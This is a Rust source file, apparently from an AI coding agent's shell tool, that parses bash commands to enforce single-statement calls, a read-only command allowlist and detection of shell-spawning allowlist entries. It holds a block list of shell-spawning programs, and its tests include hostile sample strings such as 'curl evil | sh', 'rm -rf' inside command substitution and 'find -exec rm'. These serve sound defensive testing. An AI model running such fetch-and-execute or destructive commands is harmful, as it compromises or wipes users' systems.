1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21 if command.chars().any(|c| c as u32 >= 0x1_0000) {
22 Cow::Owned(
23 command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24 )
25 } else {
26 Cow::Borrowed(command)
27 }
28}
29
30pub fn assert_single_statement_for(
41 shell: crate::utils::executable::ShellKind,
42 command: &str,
43 allow_shell_probe: bool,
44) -> Result<()> {
45 if shell.is_powershell() {
46 return assert_single_powershell_statement(command);
47 }
48 assert_single_statement(command, allow_shell_probe)
49}
50
51pub fn assert_single_powershell_statement(command: &str) -> Result<()> {
54 let mut quote: Option<char> = None;
55 let mut previous = '\0';
56 for c in command.chars() {
57 match quote {
58 Some(open) => {
59 if c == open && previous != '`' {
60 quote = None;
61 }
62 }
63 None => {
64 match c {
65 '\'' | '"' => quote = Some(c),
66 ';' | '\n' | '\r' => return Err(WinxError::CommandNotAllowed(
67 "multiple statements require allow_multi=true (use one pipeline per call)"
68 .to_string(),
69 )),
70 '&' | '|' if previous == c => {
71 return Err(WinxError::CommandNotAllowed(
72 "chained statements (&&, ||) require allow_multi=true".to_string(),
73 ))
74 }
75 _ => {}
76 }
77 }
78 }
79 previous = c;
80 }
81 Ok(())
82}
83
84pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
85 let trimmed = command.trim();
86 if trimmed.is_empty() {
87 return Ok(());
88 }
89 if trimmed.contains('\0') {
90 return Err(WinxError::CommandExecutionError(
91 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
92 ));
93 }
94
95 let parse_src = neutralize_supplementary(trimmed);
99
100 let mut parser = Parser::new();
101 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
102 parser.set_language(&language).map_err(|error| {
103 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
104 })?;
105
106 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
107 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
108 })?;
109 let root = tree.root_node();
110
111 if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
112 return Err(WinxError::CommandExecutionError(
113 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
114 ));
115 }
116
117 let statement_count = top_level_statement_count(parse_src.as_ref(), root);
119
120 if statement_count > 1 && !trimmed.contains('\n') {
121 return Err(WinxError::CommandExecutionError(
122 "Command should contain a single top-level bash statement. Fix one of three ways: \
123 send one statement per call; put each statement on its own line (multiline is \
124 allowed); or resend as {\"type\": \"command\", \"command\": \"...\", \
125 \"allow_multi\": true} when the composite is intentional."
126 .to_string(),
127 ));
128 }
129
130 Ok(())
131}
132
133fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
139 allow_shell_probe && bash_accepts_syntax(command)
140}
141
142fn bash_accepts_syntax(command: &str) -> bool {
143 let Some(bash) = crate::utils::executable::bash_executable() else { return false };
146 std::process::Command::new(bash)
147 .arg("-n")
148 .arg("-c")
149 .arg(command)
150 .stdin(std::process::Stdio::null())
151 .stdout(std::process::Stdio::null())
152 .stderr(std::process::Stdio::null())
153 .status()
154 .is_ok_and(|status| status.success())
155}
156
157#[derive(Debug, Clone)]
158struct StatementNode {
159 kind: String,
160 start_byte: usize,
161 end_byte: usize,
162}
163
164fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
165 let mut statements = Vec::new();
166 collect_statement_nodes(root, &mut statements);
167
168 statements
169 .iter()
170 .filter(|stmt| stmt.kind != "comment")
171 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
172 .count()
173}
174
175fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
176 if is_statement_node(node.kind()) {
177 statements.push(StatementNode {
178 kind: node.kind().to_string(),
179 start_byte: node.start_byte(),
180 end_byte: node.end_byte(),
181 });
182 }
183
184 let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
185 for index in 0..child_count {
186 if let Some(child) = node.named_child(index) {
187 collect_statement_nodes(child, statements);
188 }
189 }
190}
191
192fn is_statement_node(kind: &str) -> bool {
193 matches!(
194 kind,
195 "command"
196 | "variable_assignment"
197 | "declaration_command"
198 | "unset_command"
199 | "comment"
200 | "for_statement"
201 | "c_style_for_statement"
202 | "while_statement"
203 | "if_statement"
204 | "case_statement"
205 | "function_definition"
206 | "pipeline"
207 | "list"
208 | "compound_statement"
209 | "subshell"
210 | "redirected_statement"
211 )
212}
213
214fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
215 if stmt.start_byte == other.start_byte
216 && stmt.end_byte == other.end_byte
217 && stmt.kind == other.kind
218 {
219 return false;
220 }
221
222 let other_text = &source[other.start_byte..other.end_byte];
223 if other.kind == "list" && other_text.contains(';') {
224 return false;
225 }
226
227 other.start_byte <= stmt.start_byte
228 && other.end_byte >= stmt.end_byte
229 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
230 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
231}
232
233pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
245 let trimmed = command.trim();
246 if trimmed.is_empty() {
247 return Ok(Vec::new());
248 }
249 if trimmed.contains('\0') {
250 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
251 }
252
253 let parse_src = neutralize_supplementary(trimmed);
258
259 let mut parser = Parser::new();
260 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
261 parser.set_language(&language).map_err(|error| {
262 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
263 })?;
264
265 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
266 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
267 })?;
268 let root = tree.root_node();
269 if root.has_error() {
270 return Err(WinxError::CommandExecutionError(
271 "Command could not be parsed for allowlist enforcement.".to_string(),
272 ));
273 }
274
275 let mut texts = Vec::new();
276 collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
277 Ok(texts)
278}
279
280pub fn extract_static_write_paths(command: &str) -> Vec<String> {
287 let trimmed = command.trim();
288 if trimmed.is_empty() || trimmed.contains('\0') {
289 return Vec::new();
290 }
291
292 let parse_src = neutralize_supplementary(trimmed);
293 let mut parser = Parser::new();
294 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
295 if parser.set_language(&language).is_err() {
296 return Vec::new();
297 }
298 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return Vec::new() };
299
300 let mut paths = Vec::new();
301 collect_static_write_paths(tree.root_node(), parse_src.as_ref().as_bytes(), &mut paths);
302 paths.sort();
303 paths.dedup();
304 paths
305}
306
307fn collect_static_write_paths(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
308 match node.kind() {
309 "file_redirect" => collect_redirect_destination(node, src, out),
310 "command" => collect_command_destinations(node, src, out),
311 _ => {}
312 }
313
314 let mut cursor = node.walk();
315 for child in node.children(&mut cursor) {
316 collect_static_write_paths(child, src, out);
317 }
318}
319
320fn collect_redirect_destination(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
321 let Some(destination) = node.child_by_field_name("destination") else { return };
322 let prefix_end = destination.start_byte().saturating_sub(node.start_byte());
323 let Ok(redirect) = node.utf8_text(src) else { return };
324 let prefix = redirect.get(..prefix_end).unwrap_or(redirect);
325 if !prefix.contains('>') {
326 return;
327 }
328 if let Ok(text) = destination.utf8_text(src) {
329 push_static_shell_word(text, out);
330 }
331}
332
333fn collect_command_destinations(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
334 let Some(name) = node.child_by_field_name("name") else { return };
335 let Ok(name) = name.utf8_text(src) else { return };
336 let Some(name) = static_shell_word(name) else { return };
337 let name = std::path::Path::new(&name)
338 .file_name()
339 .and_then(std::ffi::OsStr::to_str)
340 .unwrap_or(name.as_str());
341
342 let mut cursor = node.walk();
343 let arguments = node
344 .children_by_field_name("argument", &mut cursor)
345 .filter_map(|argument| argument.utf8_text(src).ok())
346 .filter_map(static_shell_word)
347 .collect::<Vec<_>>();
348 let positional =
349 arguments.iter().filter(|argument| !argument.starts_with('-')).cloned().collect::<Vec<_>>();
350
351 match name {
352 "tee" | "touch" | "truncate" | "mkdir" | "mkfifo" => {
353 out.extend(positional);
354 }
355 "cp" | "mv" | "install" | "ln" => {
356 if let Some(destination) = positional.last() {
357 out.push(destination.clone());
358 }
359 for argument in &arguments {
360 if let Some(destination) = argument.strip_prefix("--target-directory=") {
361 out.push(destination.to_string());
362 }
363 }
364 }
365 "dd" => {
366 for argument in &arguments {
367 if let Some(destination) = argument.strip_prefix("of=") {
368 out.push(destination.to_string());
369 }
370 }
371 }
372 "sed" | "perl"
373 if arguments.iter().any(|argument| {
374 argument == "-i"
375 || argument.starts_with("-i")
376 || argument == "-pi"
377 || argument.starts_with("-pi")
378 }) =>
379 {
380 out.extend(positional);
381 }
382 _ => {}
383 }
384}
385
386fn push_static_shell_word(text: &str, out: &mut Vec<String>) {
387 if let Some(word) = static_shell_word(text) {
388 out.push(word);
389 }
390}
391
392fn static_shell_word(text: &str) -> Option<String> {
393 let text = text.trim();
394 if text.is_empty() {
395 return None;
396 }
397
398 let bytes = text.as_bytes();
399 let unquoted = if bytes.len() >= 2
400 && matches!(
401 (bytes.first(), bytes.last()),
402 (Some(b'\''), Some(b'\'')) | (Some(b'"'), Some(b'"'))
403 ) {
404 &text[1..text.len() - 1]
405 } else {
406 text
407 };
408 let known_temp_path = unquoted == "$WINX_TEMP_DIR"
409 || unquoted == "${WINX_TEMP_DIR}"
410 || unquoted.starts_with("$WINX_TEMP_DIR/")
411 || unquoted.starts_with("${WINX_TEMP_DIR}/");
412 if unquoted.is_empty()
413 || unquoted.contains('`')
414 || unquoted.contains('*')
415 || unquoted.contains('?')
416 || (unquoted.contains('$') && !known_temp_path)
417 || (known_temp_path
418 && unquoted
419 .trim_start_matches("${WINX_TEMP_DIR}")
420 .trim_start_matches("$WINX_TEMP_DIR")
421 .contains('$'))
422 {
423 None
424 } else {
425 Some(unquoted.replace("\\ ", " ").replace("\\\"", "\"").replace("\\'", "'"))
426 }
427}
428
429fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
430 if node.kind() == "command" {
431 if let Ok(text) = node.utf8_text(src) {
432 out.push(text.to_string());
433 }
434 }
435 let mut cursor = node.walk();
436 for child in node.children(&mut cursor) {
437 collect_command_texts(child, src, out);
438 }
439}
440
441pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
449 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
450 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
451 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
452];
453
454pub const ARCHITECT_COMMANDS: &[&str] = &[
459 "pwd",
460 "ls",
461 "rg",
462 "grep",
463 "head",
464 "tail",
465 "wc",
466 "stat",
467 "file",
468 "readlink",
469 "realpath",
470 "basename",
471 "dirname",
472 "printf",
473 "echo",
474 "type",
475 "which",
476 "uname",
477 "date",
478 "id",
479 "whoami",
480 "du",
481 "df",
482 "tree",
483 "git status",
484 "git diff",
485 "git log",
486 "git show",
487 "git ls-files",
488 "git grep",
489 "git rev-parse",
490 "git branch --show-current",
491];
492
493pub fn architect_allowed_commands() -> Vec<String> {
494 ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
495}
496
497pub fn is_architect_command_allowed(command_line: &str) -> bool {
504 if contains_file_redirect(command_line) {
505 return false;
506 }
507 let Ok(commands) = extract_command_texts(command_line) else { return false };
508 !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
509}
510
511fn contains_file_redirect(command: &str) -> bool {
515 let parse_src = neutralize_supplementary(command.trim());
516 let mut parser = Parser::new();
517 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
518 if parser.set_language(&language).is_err() {
519 return true;
520 }
521 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
522 let root = tree.root_node();
523 root.has_error() || node_tree_contains_kind(root, "file_redirect")
524}
525
526fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
527 if node.kind() == kind {
528 return true;
529 }
530 let mut cursor = node.walk();
531 let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
532 found
533}
534
535fn architect_command_is_safe(command: &str) -> bool {
536 let words: Vec<&str> = command.split_whitespace().collect();
537 let Some(program) = words.first().copied() else { return false };
538
539 if program == "git" {
540 let Some(subcommand) = words.get(1).copied() else { return false };
541 if subcommand == "branch" {
542 return words.as_slice() == ["git", "branch", "--show-current"];
543 }
544 if !matches!(
545 subcommand,
546 "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
547 ) {
548 return false;
549 }
550 return !words.iter().skip(2).any(|word| {
551 word.starts_with("--output")
552 || *word == "--ext-diff"
553 || *word == "--textconv"
554 || word.starts_with("--open-files-in-pager")
555 });
556 }
557
558 let allowed = ARCHITECT_COMMANDS
559 .iter()
560 .filter(|entry| !entry.starts_with("git "))
561 .any(|entry| *entry == program);
562 if !allowed {
563 return false;
564 }
565
566 if program == "rg" {
567 return !words.iter().skip(1).any(|word| {
568 word == &"--pre"
569 || word.starts_with("--pre=")
570 || word == &"--hostname-bin"
571 || word.starts_with("--hostname-bin=")
572 });
573 }
574
575 true
576}
577
578pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
585 let mut hits: Vec<String> = allowed
586 .iter()
587 .filter_map(|entry| {
588 let first = entry.split_whitespace().next()?;
589 let base = std::path::Path::new(first).file_name()?.to_str()?;
590 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
591 })
592 .collect();
593 hits.sort();
594 hits.dedup();
595 hits
596}
597
598#[cfg(test)]
599mod powershell_statement_tests {
600 use super::assert_single_powershell_statement;
601
602 #[test]
603 fn single_pipelines_pass_and_chains_are_rejected() {
604 for ok in [
605 "Get-ChildItem",
606 "Get-Process | Where-Object CPU -gt 1 | Select-Object -First 3",
607 "Write-Output 'a; b && c'",
608 "Write-Output \"x || y\"",
609 "cargo test -- --nocapture",
610 ] {
611 assert!(assert_single_powershell_statement(ok).is_ok(), "{ok}");
612 }
613 for bad in ["cd ..; ls", "a && b", "a || b", "a\nb"] {
614 assert!(assert_single_powershell_statement(bad).is_err(), "{bad}");
615 }
616 }
617}
618
619#[cfg(test)]
620mod tests {
621 use super::assert_single_statement;
622 use super::detect_allowlist_bypass;
623 use super::extract_command_texts;
624 use super::extract_static_write_paths;
625 use super::is_architect_command_allowed;
626 use proptest::prelude::*;
627
628 proptest! {
629 #[test]
633 fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
634 let _ = assert_single_statement(&cmd, false);
635 let _ = assert_single_statement(&cmd, true);
636 }
637
638 #[test]
639 fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
640 let _ = extract_command_texts(&cmd);
641 }
642
643 #[test]
644 fn extract_static_write_paths_never_panics(cmd in "[\\s\\S]{0,80}") {
645 let _ = extract_static_write_paths(&cmd);
646 }
647 }
648
649 #[test]
650 fn supplementary_plane_input_does_not_segfault_the_parser() {
651 for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
657 for _ in 0..40 {
658 let cmd = format!("{{{c}");
659 let _ = assert_single_statement(&cmd, false);
660 let _ = extract_command_texts(&cmd);
661 }
662 }
663 }
664
665 #[test]
666 fn emoji_command_still_validates_as_single_statement() {
667 assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
670 }
671
672 #[test]
673 fn architect_policy_allows_read_only_exploration() {
674 for command in [
675 "pwd",
676 "rg -n TODO src | head -20",
677 "git status --short",
678 "git diff -- src/lib.rs",
679 "git branch --show-current",
680 ] {
681 assert!(is_architect_command_allowed(command), "should allow: {command}");
682 }
683 }
684
685 #[test]
686 fn architect_policy_blocks_mutation_and_helper_execution() {
687 for command in [
688 "touch owned",
689 "rm file",
690 "sed -i s/a/b/ file",
691 "git checkout -- file",
692 "git diff --output=leak.patch",
693 "git branch --show-current --delete main",
694 "rg --pre 'touch owned' pattern",
695 "rg pattern $(touch owned)",
696 "echo owned > marker",
697 "git diff >> marker",
698 "ls 2> marker",
699 ] {
700 assert!(!is_architect_command_allowed(command), "should reject: {command}");
701 }
702 }
703
704 #[test]
705 fn extracts_nested_commands_for_allowlist() {
706 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
708 assert!(names.iter().any(|c| c.starts_with("ls")));
709 assert!(names.iter().any(|c| c.starts_with("curl")));
710 assert!(names.iter().any(|c| c.starts_with("sh")));
711
712 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
713 assert!(subst.iter().any(|c| c.starts_with("rm")));
714 }
715
716 #[test]
717 fn extracts_literal_shell_write_destinations() {
718 let command = "cat <<'EOF' > '.winx-review-carrier.js'\ncontent\nEOF\n\
719 printf x | tee .winx/tmp/direct.ts\n\
720 cp source.ts .winx/tmp/copied.ts\n\
721 dd if=source of=.winx/tmp/image.bin";
722 let paths = extract_static_write_paths(command);
723
724 for expected in [
725 ".winx-review-carrier.js",
726 ".winx/tmp/direct.ts",
727 ".winx/tmp/copied.ts",
728 ".winx/tmp/image.bin",
729 ] {
730 assert!(paths.iter().any(|path| path == expected), "missing {expected}: {paths:?}");
731 }
732 }
733
734 #[test]
735 fn ignores_reads_but_extracts_the_server_owned_temp_destination() {
736 let command = "cat .winx-review-carrier.js\n\
737 rg needle .winx/tmp/direct.ts\n\
738 printf x > \"$WINX_TEMP_DIR/helper.ts\"";
739 assert_eq!(extract_static_write_paths(command), ["$WINX_TEMP_DIR/helper.ts"]);
740 }
741
742 #[test]
743 fn accepts_shell_chains_as_single_statement() {
744 assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
745 }
746
747 #[test]
748 fn accepts_heredocs_as_single_statement() {
749 let command = "cat <<'EOF'\nhello\nEOF";
750 assert!(assert_single_statement(command, true).is_ok());
751 }
752
753 #[test]
754 fn accepts_for_loop_as_single_compound_statement() {
755 assert!(
756 assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
757 );
758 }
759
760 #[test]
761 fn rejects_semicolon_separated_top_level_statements() {
762 assert!(assert_single_statement("pwd; ls", true).is_err());
763 }
764
765 #[test]
766 fn accepts_multiline_scripts() {
767 assert!(assert_single_statement("pwd\nls", true).is_ok());
768 }
769
770 #[test]
771 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
772 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
773 assert!(assert_single_statement(command, true).is_ok());
774 }
775
776 #[cfg(unix)] #[test]
778 fn shell_probe_is_gated_to_trusted_mode() {
779 use super::rescued_by_shell_probe;
780 assert!(rescued_by_shell_probe("echo hi", true));
786 assert!(!rescued_by_shell_probe("echo hi", false));
789 assert!(!rescued_by_shell_probe("echo )(", true));
791 }
792
793 #[test]
794 fn detect_allowlist_bypass_flags_shell_spawners() {
795 let allowed = vec![
796 "ls".to_string(),
797 "bash".to_string(),
798 "cat -n".to_string(),
799 "find . -exec rm {} +".to_string(),
800 ];
801 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
802 }
803
804 #[test]
805 fn detect_allowlist_bypass_clean_list_is_empty() {
806 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
807 assert!(
808 detect_allowlist_bypass(&allowed).is_empty(),
809 "expected empty detect_allowlist_bypass(&allowed)"
810 );
811 }
812
813 #[test]
814 fn detect_allowlist_bypass_matches_basename_of_path() {
815 let allowed = vec!["/usr/bin/env python".to_string()];
816 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
817 }
818
819 #[test]
820 fn rejects_nul_with_actionable_message() {
821 let error = match assert_single_statement("printf '\0'", true) {
822 Ok(()) => String::new(),
823 Err(error) => error.to_string(),
824 };
825 assert!(error.contains("NUL byte"));
826 assert!(error.contains("\\\\x00"));
827 }
828}